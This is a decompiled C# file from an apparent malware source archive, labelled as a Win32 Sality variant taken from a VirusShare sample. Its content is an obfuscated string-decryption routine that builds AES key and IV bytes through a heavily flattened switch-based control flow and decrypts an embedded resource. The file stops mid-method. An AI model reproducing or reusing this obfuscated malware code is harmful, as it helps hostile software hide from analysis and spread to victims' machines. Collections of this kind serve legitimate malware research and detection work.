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MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0002.cs

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auto-decompiled msil via petikvx add
2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0001;
using \u0008;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace \u0008
{
internal sealed class \u0002
{
[NonSerialized]
internal static \u0002 \u0001;
private static byte[] \u0001;
private static byte[] \u0002;
private static byte[] \u0003;
private static IntPtr \u0001;
private static bool \u0001;
private static int \u0001;
internal static \u0002.\u0001 \u0001;
private static long \u0001;
private static bool \u0002;
private static SortedList \u0001;
private static byte[] \u0004;
private static int \u0002;
internal static Dictionary<long, \u0002.\u0002> \u0001;
private static long \u0002;
private static IntPtr \u0002;
private static object \u0001;
private static IntPtr \u0003;
private static int \u0003;
private static int[] \u0001;
private static int \u0004;
internal static \u0002.\u0001 \u0002;
[MethodImpl(MethodImplOptions.NoInlining)]
static \u0002()
{
try
{
\u0003.\u0003();
\u0002.\u0001 = new byte[0];
\u0002.\u0002 = new byte[0];
\u0002.\u0004 = new byte[0];
\u0002.\u0003 = new byte[0];
\u0002.\u0003 = IntPtr.Zero;
\u0002.\u0001 = IntPtr.Zero;
\u0002.\u0001 = (object) new string[0];
\u0002.\u0001 = new int[0];
\u0002.\u0003 = 1;
\u0002.\u0001 = false;
\u0002.\u0001 = new SortedList();
\u0002.\u0001 = 0;
\u0002.\u0002 = 0L;
\u0002.\u0002 = (\u0002.\u0001) null;
\u0002.\u0001 = (\u0002.\u0001) null;
\u0002.\u0001 = 0L;
\u0002.\u0002 = 0;
\u0002.\u0002 = false;
\u0002.\u0004 = 0;
\u0002.\u0002 = IntPtr.Zero;
\u0002.\u0001 = new Dictionary<long, \u0002.\u0002>();
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex);
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
static string \u0003([In] int obj0)
{
byte[] numArray1;
int num1;
int num2;
byte[] numArray2;
int num3;
byte[] numArray3;
byte[] numArray4;
RijndaelManaged rijndaelManaged;
byte[] numArray5;
ICryptoTransform transform;
MemoryStream memoryStream;
BinaryReader binaryReader;
int num4;
CryptoStream cryptoStream;
byte[] numArray6;
try
{
int num5 = 233;
label_331:
while (true)
{
num3 = num5;
label_332:
while (true)
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
do
{
int num6 = num3;
while (true)
{
switch (num6)
{
case 0:
num2 = 70 + 39;
num6 = 208;
continue;
case 1:
num1 = 16 + 112;
num3 = 42;
if (true)
goto label_332;
else
goto case 279;
case 2:
numArray2[24] = (byte) (52 + 45);
num3 = 189;
if (\u0002.\u0004())
goto case 121;
else
goto label_332;
case 3:
goto label_37;
case 4:
goto label_242;
case 5:
num2 = 179 - 59;
num6 = 286;
continue;
case 6:
num1 = 22 + 12;
num6 = 78;
continue;
case 7:
goto label_24;
case 8:
num2 = 71 + 108;
num6 = 131;
continue;
case 9:
numArray3 = numArray1;
num6 = 90;
continue;
case 10:
goto label_306;
case 11:
goto label_354;
case 12:
goto label_294;
case 13:
goto label_258;
case 14:
goto label_327;
case 15:
num1 = 22 + 16;
num6 = 251;
continue;
case 16:
numArray2[23] = (byte) num2;
goto case 155;
case 17:
numArray2[5] = (byte) (74 + 33);
num6 = 23;
continue;
case 18:
numArray2[7] = (byte) (176 - 58);
num3 = 237;
if (!\u0002.\u0003())
goto case 265;
else
goto label_332;
case 19:
goto label_15;
case 20:
goto label_115;
case 21:
numArray2[3] = (byte) (13 + 103);
num6 = 148;
continue;
case 22:
goto label_210;
case 23:
goto label_74;
case 24:
goto label_79;
case 25:
goto label_72;
case 26:
num1 = 160 - 53;
num3 = 123;
if (true)
goto label_332;
else
goto case 129;
case 27:
numArray1[2] = (byte) (7 + 3);
num6 = 248;
continue;
case 28:
goto label_260;
case 29:
goto label_163;
case 30:
numArray1[6] = (byte) (214 - 71);
num3 = 145;
if (true)
goto label_332;
else
goto case 93;
case 31:
goto label_138;
case 32:
goto label_49;
case 33:
goto label_191;
case 34:
goto label_283;
case 35:
num2 = 119 + 9;
num6 = 185;
continue;
case 36:
goto label_44;
case 37:
num2 = 120 - 47;
num3 = 205;
if (\u0002.\u0004())
goto case 94;
else
goto label_332;
case 38:
num1 = 226 - 120;
num6 = 262;
continue;
case 39:
num1 = 235 - 78;
num3 = 87;
if (true)
goto label_332;
else
goto case 326;
case 40:
goto label_8;
case 41:
num2 = 243 - 81;
num6 = 52;
continue;
case 42:
goto label_52;
case 43:
numArray1[6] = (byte) num1;
num6 = 28;
continue;
case 44:
goto label_277;
case 45:
goto label_162;
case 46:
num2 = 48 + 108;
num3 = 176;
if (true)
goto label_332;
else
goto case 162;
case 47:
goto label_114;
case 48:
goto label_67;
case 49:
goto label_239;
case 50:
numArray6 = (byte[]) \u0002.\u0003((object) binaryReader, (int) \u0002.\u0003(\u0002.\u0003((object) binaryReader)));
num6 = 191;
continue;
case 51:
numArray3[15] = numArray4[7];
num3 = 272;
if (!\u0002.\u0004())
goto label_332;
else
goto case 26;
case 52:
goto label_200;
case 53:
goto label_194;
case 54:
case 92:
goto label_263;
case 55:
goto label_70;
case 56:
goto label_147;
case 57:
goto label_89;
case 58:
numArray2[21] = (byte) num2;
num6 = 125;
continue;
case 59:
numArray2[15] = (byte) (203 - 67);
num6 = 85;
continue;
case 60:
goto label_158;
case 61:
goto label_66;
case 62:
goto label_141;
case 63:
goto label_64;
case 64:
num2 = 223 - 74;
num6 = 219;
continue;
case 65:
goto label_121;
case 66:
goto label_285;
case 67:
goto label_224;
case 68:
goto label_156;
case 69:
goto label_195;
case 70:
numArray1[4] = (byte) (42 + 81);
num3 = 256;
if (!\u0002.\u0003())
goto case 341;
else
goto label_332;
case 71:
numArray2[5] = (byte) num2;
num3 = 319;
if (\u0002.\u0004())
goto case 343;
else
goto label_332;
case 72:
goto label_9;
case 73:
goto label_155;
case 74:
numArray2[30] = (byte) (30 + 37);
num3 = 100;
if (!\u0002.\u0003())
goto case 208;
else
goto label_332;
case 75:
goto label_71;
case 76:
goto label_12;
case 77:
numArray1[3] = (byte) (251 - 83);
num6 = 245;
continue;
case 78:
numArray1[5] = (byte) num1;
num6 = 67;
continue;
case 79:
goto label_92;
case 80:
goto label_42;
case 81:
goto label_153;
case 82:
numArray1[12] = (byte) ((int) sbyte.MaxValue - 42);
num6 = 197;
continue;
case 83:
goto label_340;
case 84:
numArray2[10] = (byte) (164 - 54);
num3 = 204;
if (true)
goto label_332;
else
goto case 90;
case 85:
numArray2[15] = (byte) (135 - 45);
num6 = 138;
continue;
case 86:
goto label_172;
case 87:
goto label_61;
case 88:
goto label_209;
case 89:
goto label_176;
case 90:
// ISSUE: type reference
numArray4 = (byte[]) \u0002.\u0005(\u0002.\u0004((object) \u0002.\u0003(__typeref (\u0002)).Assembly));
num3 = 198;
if (\u0002.\u0004())
goto case 151;
else
goto label_332;
case 91:
goto label_244;
case 93:
num2 = 100 + 70;
num3 = 309;
if (\u0002.\u0004())
goto case 161;
else
goto label_332;
case 94:
num2 = 241 - 80;
num6 = 108;
continue;
case 95:
num2 = 211 - 110;
num6 = 53;
continue;
case 96:
goto label_238;
case 97:
goto label_80;
case 98:
goto label_346;
case 99:
goto label_274;
case 100:
numArray2[30] = (byte) (195 - 65);
num3 = 213;
if (!\u0002.\u0004())
goto label_332;
else
goto case 186;
case 101:
goto label_179;
case 102:
goto label_310;
case 103:
goto label_101;
case 104:
goto label_304;
case 105:
goto label_166;
case 106:
goto label_117;
case 107:
goto label_233;
case 108:
goto label_202;
case 109:
goto label_38;
case 110:
num1 = 126 + 91;
num6 = 179;
continue;
case 111:
numArray2[14] = (byte) (96 + 54);
num6 = 99;
continue;
case 112:
numArray2[1] = (byte) num2;
num6 = 247;
continue;
case 113:
goto label_305;
case 114:
goto label_6;
case 115:
goto label_106;
case 116:
goto label_120;
case 117:
goto label_91;
case 118:
numArray2[1] = (byte) (139 - 106);
num6 = 334;
continue;
case 119:
numArray2[2] = (byte) (115 + 21);
num6 = 279;
continue;
case 120:
goto label_328;
case 121:
num1 = 154 - 51;
num6 = 229;
continue;
case 122:
goto label_45;
case 123:
numArray1[1] = (byte) num1;
num3 = 39;
if (!\u0002.\u0004())
goto label_332;
else
goto case 188;
case 124:
goto label_314;
case 125:
goto label_35;
case 126:
goto label_19;
case (int) sbyte.MaxValue:
numArray2[27] = (byte) (15 + 71);
num3 = 80;
if (!\u0002.\u0004())
goto label_332;
else
goto case 153;
case 128:
goto label_10;
case 129:
numArray1[10] = (byte) (53 + 91);
num6 = 139;
continue;
case 130:
goto label_259;
case 131:
numArray2[0] = (byte) num2;
num3 = 274;
if (true)
goto label_332;
else
goto case 38;
case 132:
goto label_88;
case 133:
goto label_157;
case 134:
numArray1[7] = (byte) (240 - 80);
num6 = 307;
continue;
case 135:
goto label_230;
case 136:
goto label_17;
case 137:
goto label_187;
case 138:
goto label_221;
case 139:
goto label_95;
case 140:
goto label_196;
case 141:
goto label_180;
case 142:
if (numArray4.Length > 0)
{
num6 = 156;
continue;
}
goto label_352;
case 143:
goto label_62;
case 144:
goto label_280;
case 145:
goto label_148;
case 146:
goto label_18;
case 147:
goto label_142;
case 148:
num2 = 186 - 62;
num6 = 253;
continue;
case 149:
numArray2[9] = (byte) (177 - 59);
num6 = 257;
continue;
case 150:
goto label_353;
case 151:
numArray2[23] = (byte) (100 + 20);
num3 = 226;
if (\u0002.\u0004())
goto case 155;
else
goto label_332;
case 152:
numArray2[10] = (byte) (43 + 76);
num6 = 120;
continue;
case 153:
numArray1[6] = (byte) num1;
num6 = 30;
continue;
case 154:
\u0002.\u0003(\u0002.\u0003((object) binaryReader), 0L);
num3 = 333;
if (true)
goto label_332;
else
goto case 37;
case 155:
case 321:
num2 = 170 - 56;
num6 = 241;
continue;
case 156:
numArray3[1] = numArray4[0];
num6 = 29;
continue;
case 157:
numArray2[23] = (byte) (82 - 73);
num3 = 2;
if (!\u0002.\u0004())
goto label_332;
else
goto case 208;
case 158:
goto label_276;
case 159:
goto label_330;
case 160:
numArray1[1] = (byte) num1;
num6 = 311;
continue;
case 161:
numArray2[23] = (byte) num2;
num6 = 157;
continue;
case 162:
numArray2[17] = (byte) num2;
num6 = 261;
continue;
case 163:
numArray1[1] = (byte) num1;
num6 = 27;
continue;
case 164:
goto label_267;
case 165:
goto label_291;
case 166:
goto label_315;
case 167:
numArray2[24] = (byte) (221 - 73);
num6 = 93;
continue;
case 168:
numArray2[13] = (byte) (139 - 46);
num6 = 283;
continue;
case 169:
goto label_34;
case 170:
numArray2[20] = (byte) num2;
num3 = 65;
if (true)
goto label_332;
else
goto case 197;
case 171:
num1 = 192 - 64;
num6 = 270;
continue;
case 172:
goto label_201;
case 173:
goto label_51;
case 174:
goto label_87;
case 175:
numArray1[3] = (byte) num1;
num6 = 77;
continue;
case 176:
goto label_63;
case 177:
num2 = 123 + 108;
num6 = 40;
continue;
case 178:
numArray2[29] = (byte) num2;
num6 = 35;
continue;
case 179:
numArray1[11] = (byte) num1;
num6 = 56;
continue;
case 180:
goto label_43;
case 181:
goto label_127;
case 182:
goto label_113;
case 183:
numArray2[22] = (byte) (36 + 113);
num6 = 0;
continue;
case 184:
goto label_329;
case 185:
goto label_97;
case 186:
num1 = 164 - 54;
num6 = 160;
continue;
case 187:
goto label_265;
case 188:
numArray1[9] = (byte) num1;
num3 = 171;
if (!\u0002.\u0004())
goto label_332;
else
goto case 177;
case 189:
goto label_341;
case 190:
numArray1[4] = (byte) (57 + 30);
num3 = 70;
if (\u0002.\u0004())
goto case 252;
else
goto label_332;
case 191:
goto label_7;
case 192:
numArray2[16] = (byte) num2;
num6 = 46;
continue;
case 193:
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) \u0002.\u0003((object) \u0002.\u0003(__typeref (\u0002)).Assembly, (object) \u0006.\u0003(5700)));
num6 = 154;
continue;
case 194:
goto label_69;
case 195:
goto label_58;
case 196:
goto label_272;
case 197:
num1 = 63 + 83;
num3 = 218;
if (true)
goto label_332;
else
goto case 199;
case 198:
goto label_246;
case 199:
numArray2[18] = (byte) (86 + 23);
num3 = 130;
if (!\u0002.\u0003())
goto case 339;
else
goto label_332;
case 200:
num2 = 237 - 79;
num6 = 34;
continue;
case 201:
goto label_181;
case 202:
goto label_271;
case 203:
goto label_237;
case 204:
goto label_219;
case 205:
goto label_214;
case 206:
numArray2[8] = (byte) (86 + 74);
num6 = 285;
continue;
case 207:
goto label_48;
case 208:
numArray2[22] = (byte) num2;
num6 = 75;
continue;
case 209:
goto label_129;
case 210:
num2 = 156 - 52;
num6 = 81;
continue;
case 211:
goto label_186;
case 212:
goto label_59;
case 213:
goto label_248;
case 214:
numArray2[10] = (byte) num2;
num6 = 84;
continue;
case 215:
goto label_270;
case 216:
goto label_273;
case 217:
num2 = 252 - 84;
num6 = 146;
continue;
case 218:
goto label_73;
case 219:
goto label_122;
case 220:
goto label_342;
case 221:
num1 = 116 + 19;
num6 = 297;
continue;
case 222:
numArray1[14] = (byte) (134 - 44);
num6 = 303;
continue;
case 223:
num2 = 141 - 47;
num6 = 342;
continue;
case 224:
goto label_55;
case 225:
goto label_215;
case 226:
goto label_245;
case 227:
numArray2[20] = (byte) (12 + 41);
num3 = 135;
if (!\u0002.\u0003())
goto case 46;
else
goto label_332;
case 228:
goto label_323;
case 229:
goto label_130;
case 230:
numArray2[15] = (byte) (128 - 5);
num6 = 260;
continue;
case 231:
goto label_36;
case 232:
goto label_311;
case 233:
goto label_335;
case 234:
goto label_78;
case 235:
goto label_41;
case 236:
goto label_173;
case 237:
numArray2[7] = (byte) (33 + 16);
num6 = 236;
continue;
case 238:
goto label_47;
case 239:
num2 = 80 + 32;
num6 = 282;
continue;
case 240:
num2 = 47 + 101;
num6 = 66;
continue;
case 241:
numArray2[23] = (byte) num2;
num6 = 55;
continue;
case 242:
goto label_225;
case 243:
goto label_318;
case 244:
numArray2[3] = (byte) (52 + 75);
num6 = 73;
continue;
case 245:
numArray1[3] = (byte) (153 - 51);
num6 = 267;
continue;
case 246:
goto label_307;
case 247:
goto label_128;
case 248:
goto label_109;
case 249:
num2 = 121 + 9;
num6 = 209;
continue;
case 250:
goto label_232;
case 251:
goto label_206;
case 252:
num2 = 238 - 79;
num6 = 137;
continue;
case 253:
numArray2[3] = (byte) num2;
num3 = 288;
if (!\u0002.\u0004())
goto label_332;
else
goto case (int) sbyte.MaxValue;
case 254:
numArray1[2] = (byte) (74 + 21);
num6 = 88;
continue;
case (int) byte.MaxValue:
goto label_96;
case 256:
goto label_93;
case 257:
numArray2[9] = (byte) (82 + 46);
num3 = 301;
if (true)
goto label_332;
else
goto case 292;
case 258:
numArray2[11] = (byte) (130 - 43);
num3 = 343;
if (true)
goto label_332;
else
goto case 71;
case 259:
goto label_154;
case 260:
goto label_243;
case 261:
numArray2[17] = (byte) (167 - 67);
num6 = 234;
continue;
case 262:
numArray1[14] = (byte) num1;
num6 = 68;
continue;
case 263:
numArray2[7] = (byte) num2;
num3 = 206;
if (true)
goto label_332;
else
goto case 343;
case 264:
num1 = 45 + 56;
num6 = 153;
continue;
case 265:
numArray2[25] = (byte) (141 + 76);
num6 = 294;
continue;
case 266:
goto label_159;
case 267:
goto label_205;
case 268:
goto label_68;
case 269:
goto label_119;
case 270:
numArray1[9] = (byte) num1;
num6 = 1;
continue;
case 271:
numArray1[0] = (byte) (237 - 79);
num6 = 20;
continue;
case 272:
goto label_352;
case 273:
numArray1[8] = (byte) (120 - 70);
num6 = 24;
continue;
case 274:
goto label_11;
case 275:
\u0002.\u0003((object) rijndaelManaged, CipherMode.CBC);
num6 = 238;
continue;
case 276:
numArray2[18] = (byte) (181 - 113);
num3 = 243;
if (\u0002.\u0004())
goto case 325;
else
goto label_332;
case 277:
goto label_174;
case 278:
numArray2[0] = (byte) num2;
num3 = 180;
if (true)
goto label_332;
else
goto case 112;
case 279:
numArray2[2] = (byte) (46 - 40);
num6 = 89;
continue;
case 280:
numArray1[3] = (byte) num1;
num6 = 291;
continue;
case 281:
goto label_2;
case 282:
goto label_229;
case 283:
numArray2[13] = (byte) (149 + 31);
num3 = 111;
if (true)
goto label_332;
else
goto case 278;
case 284:
goto label_297;
case 285:
numArray2[8] = (byte) (152 - 50);
if (!\u0002.\u0003())
{
num6 = 321;
continue;
}
num3 = 92;
if (true)
goto label_332;
else
goto case 21;
case 286:
numArray2[12] = (byte) num2;
num6 = 310;
continue;
case 287:
goto label_132;
case 288:
goto label_322;
case 289:
numArray2[31] = (byte) (78 + 91);
num6 = 4;
continue;
case 290:
goto label_146;
case 291:
goto label_254;
case 292:
num2 = 151 - 79;
num3 = 174;
if (true)
goto label_332;
else
goto case 168;
case 293:
numArray2[12] = (byte) (15 + 39);
num6 = 329;
continue;
case 294:
goto label_16;
case 295:
numArray2[2] = (byte) num2;
num6 = 119;
continue;
case 296:
goto label_189;
case 297:
goto label_112;
case 298:
num2 = 203 - 67;
num6 = 335;
continue;
case 299:
goto label_339;
case 300:
num2 = 73 + 56;
num6 = 147;
continue;
case 301:
num2 = 168 + 64;
num6 = 109;
continue;
case 302:
goto label_190;
case 303:
goto label_177;
case 304:
goto label_137;
case 305:
goto label_284;
case 306:
numArray3[7] = numArray4[3];
num6 = 86;
continue;
case 307:
goto label_183;
case 308:
goto label_29;
case 309:
goto label_316;
case 310:
goto label_269;
case 311:
goto label_136;
case 312:
numArray2[26] = (byte) (141 + 28);
num6 = 13;
continue;
case 313:
goto label_188;
case 314:
goto label_103;
case 315:
goto label_325;
case 316:
goto label_266;
case 317:
numArray2[16] = (byte) num2;
num3 = 323;
if (\u0002.\u0003())
goto label_332;
else
goto case 329;
case 318:
goto label_199;
case 319:
goto label_90;
case 320:
num2 = 99 + 93;
num6 = 115;
continue;
case 322:
goto label_220;
case 323:
num2 = 103 - 88;
num3 = 192;
if (!\u0002.\u0003())
goto case 8;
else
goto label_332;
case 324:
goto label_94;
case 325:
num2 = 148 - 49;
num3 = 228;
if (\u0002.\u0003())
goto label_332;
else
goto case 110;
case 326:
numArray2[17] = (byte) (12 + 54);
num6 = 207;
continue;
case 327:
num2 = 20 + 89;
num3 = 114;
if (\u0002.\u0004())
goto case 161;
else
goto label_332;
case 328:
goto label_30;
case 329:
num2 = 142 - 47;
num6 = 122;
continue;
case 330:
goto label_275;
case 331:
goto label_125;
case 332:
numArray2[31] = (byte) (100 + 38);
num6 = 95;
continue;
case 333:
\u0002.\u0003(true);
num6 = 50;
continue;
case 334:
num2 = 18 + 26;
num6 = 295;
continue;
case 335:
goto label_133;
case 336:
goto label_39;
case 337:
goto label_231;
case 338:
goto label_208;
case 339:
numArray2[31] = (byte) num2;
num6 = 231;
continue;
case 340:
goto label_57;
case 341:
numArray2[20] = (byte) (144 - 48);
num3 = 336;
if (true)
goto label_332;
else
goto case 157;
case 342:
goto label_116;
case 343:
numArray2[11] = (byte) (68 + 95);
num6 = 136;
continue;
case 344:
goto label_348;
default:
goto label_334;
}
}
label_24:
num2 = 113 + 123;
num3 = 169;
if (\u0002.\u0003())
continue;
label_91:
numArray1[15] = (byte) num1;
num3 = 173;
if (!\u0002.\u0004())
continue;
label_92:
num1 = 200 - 66;
num3 = 175;
if (true)
continue;
label_93:
numArray1[4] = (byte) (128 - 51);
num3 = 246;
}
while (true);
goto label_94;
label_57:
num2 = 155 - 51;
num3 = 162;
if (true)
continue;
label_58:
numArray1[7] = (byte) (46 + 19);
num3 = 97;
if (true)
continue;
label_59:
num2 = 81 + 43;
num3 = 112;
if (\u0002.\u0004())
goto label_307;
else
continue;
label_306:
numArray2[12] = (byte) num2;
num3 = 3;
if (true)
continue;
label_307:
num1 = 254 - 84;
num3 = 250;
}
while (!\u0002.\u0004());
goto label_280;
label_97:
numArray2[29] = (byte) num2;
num3 = 298;
if (\u0002.\u0004())
goto label_246;
else
continue;
label_112:
numArray1[1] = (byte) num1;
num3 = 124;
if (\u0002.\u0003())
continue;
label_113:
num4 = \u0002.\u0003((object) \u0002.\u0004, obj0);
num3 = 344;
if (\u0002.\u0004())
goto label_346;
else
continue;
label_246:
if (numArray4 == null)
goto label_352;
else
goto label_247;
label_325:
numArray2[6] = (byte) (54 - 29);
num3 = 18;
if (!\u0002.\u0003())
goto label_342;
else
continue;
label_334:
num5 = 215;
goto label_331;
label_335:
if (\u0002.\u0004.Length == 0)
{
num3 = 193;
continue;
}
goto label_113;
label_339:
\u0002.\u0004((object) memoryStream);
num3 = 269;
if (!\u0002.\u0003())
goto label_109;
else
continue;
label_340:
numArray1[6] = (byte) num1;
num5 = 264;
goto label_331;
label_341:
numArray2[24] = (byte) (181 - 60);
num3 = 239;
continue;
label_342:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num3 = 187;
if (!\u0002.\u0003())
goto label_194;
else
continue;
label_346:
num1 = 173 - 63;
num5 = 141;
goto label_331;
label_348:
string str;
try
{
str = (string) \u0002.\u0003(\u0002.\u0003(), (object) \u0002.\u0004, obj0 + 4, num4);
goto label_351;
}
catch
{
}
return \u0006.\u0003(5753);
label_351:
return str;
label_352:
rijndaelManaged = new RijndaelManaged();
num3 = 275;
if (true)
continue;
goto label_130;
label_353:
memoryStream = new MemoryStream();
num3 = 220;
continue;
label_354:
numArray3[13] = numArray4[6];
num3 = 51;
}
while (!\u0002.\u0004());
goto label_15;
label_258:
numArray2[27] = (byte) (248 - 82);
num3 = 196;
}
while (\u0002.\u0003());
goto label_259;
label_115:
num1 = 39 + 53;
num3 = 281;
if (true)
continue;
label_116:
numArray2[17] = (byte) num2;
num3 = 326;
}
while (true);
goto label_117;
label_138:
numArray2[28] = (byte) (118 + 53);
num3 = 19;
if (\u0002.\u0004())
goto label_330;
else
continue;
label_270:
num2 = 214 - 71;
num3 = 140;
continue;
label_330:
numArray2[26] = (byte) num2;
goto label_270;
}
while (!\u0002.\u0004());
goto label_18;
label_67:
num2 = 163 - 54;
num3 = 116;
}
while (\u0002.\u0003());
goto label_122;
label_147:
numArray1[12] = (byte) (19 + 100);
num3 = 15;
}
while (!\u0002.\u0004());
goto label_274;
label_158:
numArray1[6] = (byte) num1;
num3 = 195;
}
while (true);
goto label_159;
label_284:
numArray2[1] = (byte) (139 - 46);
num3 = 118;
if (!\u0002.\u0004())
continue;
label_285:
numArray2[8] = (byte) num2;
num3 = 302;
}
while (!\u0002.\u0004());
goto label_202;
label_224:
numArray1[5] = (byte) (133 - 44);
num3 = 91;
if (true)
continue;
label_225:
numArray2[25] = (byte) (164 - 54);
num3 = 265;
}
while (!\u0002.\u0004());
goto label_267;
label_195:
numArray2[17] = (byte) num2;
num3 = 340;
}
while (true);
goto label_196;
label_155:
numArray2[4] = (byte) (247 - 82);
num3 = 64;
}
while (true);
goto label_156;
label_61:
numArray1[1] = (byte) num1;
num3 = 221;
}
while (\u0002.\u0003());
goto label_305;
label_238:
num2 = 157 - 52;
num3 = 278;
}
while (true);
goto label_239;
label_310:
num1 = 137 - 45;
num3 = 188;
}
while (true);
goto label_311;
label_180:
numArray1[2] = (byte) num1;
num3 = 79;
}
while (true);
goto label_181;
label_34:
numArray2[5] = (byte) num2;
num3 = 290;
}
while (\u0002.\u0003());
goto label_122;
label_87:
numArray2[14] = (byte) num2;
num3 = 103;
}
while (\u0002.\u0003());
goto label_88;
label_7:
numArray2 = new byte[32];
num3 = 47;
}
while (true);
goto label_8;
label_272:
num2 = 159 - 53;
num3 = 133;
}
while (true);
goto label_273;
label_48:
num2 = 134 - 44;
num3 = 69;
}
while (!\u0002.\u0004());
goto label_221;
label_186:
numArray2[1] = (byte) (189 - 63);
num3 = 305;
}
while (true);
goto label_187;
label_55:
numArray1[10] = (byte) (194 + 31);
num3 = 22;
}
while (\u0002.\u0003());
goto label_128;
label_173:
num2 = 92 + 69;
num3 = 263;
}
while (\u0002.\u0003());
goto label_174;
label_318:
numArray2[19] = (byte) (35 + 107);
num3 = 284;
}
while (!\u0002.\u0004());
goto label_329;
label_231:
\u0002.\u0005((object) binaryReader);
num3 = 182;
if (true)
continue;
label_232:
numArray1[5] = (byte) num1;
num3 = 6;
}
while (!\u0002.\u0004());
goto label_233;
label_243:
numArray2[16] = (byte) (65 + 40);
num3 = 232;
}
while (true);
goto label_244;
label_205:
num1 = 228 - 76;
num3 = 280;
}
while (true);
goto label_206;
label_132:
numArray1[13] = (byte) (180 - 60);
num3 = 225;
}
while (true);
goto label_133;
label_16:
num2 = 253 - 84;
num3 = 159;
}
while (\u0002.\u0003());
goto label_17;
label_190:
numArray2[8] = (byte) (160 - 40);
num3 = 76;
}
while (\u0002.\u0003());
goto label_183;
label_29:
numArray2[12] = (byte) (109 + 120);
num3 = 293;
}
while (!\u0002.\u0004());
goto label_30;
label_136:
num1 = 106 - 29;
num3 = 163;
}
while (true);
goto label_137;
label_19:
numArray1[8] = (byte) (7 + 66);
num3 = 273;
continue;
label_30:
numArray1[8] = (byte) num1;
num3 = 126;
continue;
label_38:
numArray2[9] = (byte) num2;
num3 = 152;
continue;
label_41:
numArray3[5] = numArray4[2];
num3 = 306;
continue;
label_42:
num2 = 147 - 49;
num3 = 107;
continue;
label_47:
transform = (ICryptoTransform) \u0002.\u0003((object) rijndaelManaged, (object) numArray5, (object) numArray3);
num3 = 150;
continue;
label_52:
numArray1[9] = (byte) num1;
num3 = 316;
continue;
label_62:
numArray1[2] = (byte) num1;
num3 = 98;
continue;
label_66:
numArray1[2] = (byte) (189 - 63);
num3 = 254;
continue;
label_69:
numArray2[29] = (byte) (233 - 77);
num3 = 165;
continue;
label_74:
numArray2[5] = (byte) (237 - 79);
num3 = 7;
continue;
label_78:
num2 = (int) sbyte.MaxValue - 42;
num3 = 166;
continue;
label_80:
numArray1[7] = (byte) (58 + 12);
num3 = 322;
continue;
label_89:
\u0002.\u0004 = (byte[]) \u0002.\u0006((object) memoryStream);
num3 = 299;
continue;
label_96:
numArray2[6] = (byte) (73 + 119);
num3 = 315;
continue;
label_101:
num2 = 4 + 36;
num3 = 164;
continue;
label_103:
numArray3[11] = numArray4[5];
num3 = 11;
continue;
label_109:
numArray1[2] = (byte) (123 + 123);
num3 = 61;
continue;
label_121:
num2 = 148 - 49;
num3 = 58;
continue;
label_127:
numArray2[0] = (byte) num2;
num3 = 44;
continue;
label_128:
numArray2[1] = (byte) (194 - 64);
num3 = 211;
continue;
label_130:
numArray1[14] = (byte) num1;
num3 = 222;
continue;
label_137:
numArray2[10] = (byte) num2;
num3 = 258;
continue;
label_148:
num1 = 125 + 67;
num3 = 60;
continue;
label_163:
numArray3[3] = numArray4[1];
num3 = 235;
continue;
label_166:
numArray1[13] = (byte) (173 - 62);
num3 = 62;
continue;
label_177:
numArray1[14] = (byte) (119 + 80);
num3 = 38;
continue;
label_179:
numArray2[0] = (byte) num2;
num3 = 96;
continue;
label_188:
numArray2[11] = (byte) num2;
num3 = 308;
continue;
label_200:
numArray2[30] = (byte) num2;
num3 = 74;
continue;
label_201:
num1 = 143 - 47;
num3 = 216;
continue;
label_210:
num1 = 176 - 58;
num3 = 158;
continue;
label_214:
numArray2[4] = (byte) num2;
num3 = 17;
continue;
label_221:
num2 = 212 - 70;
num3 = 338;
continue;
label_230:
numArray2[20] = (byte) (179 - 59);
num3 = 341;
continue;
label_237:
num1 = 245 - 81;
num3 = 32;
continue;
label_247:
num3 = 142;
continue;
label_263:
num2 = 238 - 79;
num3 = 12;
continue;
label_266:
numArray1[10] = (byte) (178 - 59);
num3 = 129;
continue;
label_271:
\u0002.\u0003((object) cryptoStream);
num3 = 57;
continue;
label_274:
numArray2[14] = (byte) (97 + 96);
num3 = 292;
continue;
label_275:
numArray1[3] = (byte) (165 - 107);
num3 = 190;
continue;
label_280:
num2 = 44 + 104;
num3 = 106;
continue;
label_305:
numArray1[15] = (byte) (138 + 13);
num3 = 9;
continue;
label_311:
numArray2[16] = (byte) (28 + 54);
num3 = 266;
continue;
label_315:
numArray2[18] = (byte) num2;
num3 = 199;
continue;
label_316:
numArray2[24] = (byte) num2;
num3 = 318;
}
label_2:
numArray1[0] = (byte) num1;
num5 = 72;
continue;
label_6:
numArray2[18] = (byte) num2;
num5 = 276;
continue;
label_8:
numArray2[19] = (byte) num2;
num5 = 252;
continue;
label_9:
numArray1[0] = (byte) (85 + 83);
num5 = 26;
continue;
label_10:
numArray2[15] = (byte) (84 + 32);
num5 = 230;
continue;
label_11:
numArray2[0] = (byte) (145 + 60);
num5 = 212;
continue;
label_12:
numArray2[9] = (byte) (29 + 40);
num5 = 94;
continue;
label_15:
num2 = 178 - 59;
num5 = 201;
continue;
label_17:
num2 = 130 - 27;
num5 = 313;
continue;
label_18:
numArray2[19] = (byte) num2;
num5 = 249;
continue;
label_35:
numArray2[21] = (byte) (232 - 77);
num5 = 144;
continue;
label_36:
num2 = 188 - 62;
num5 = 296;
continue;
label_37:
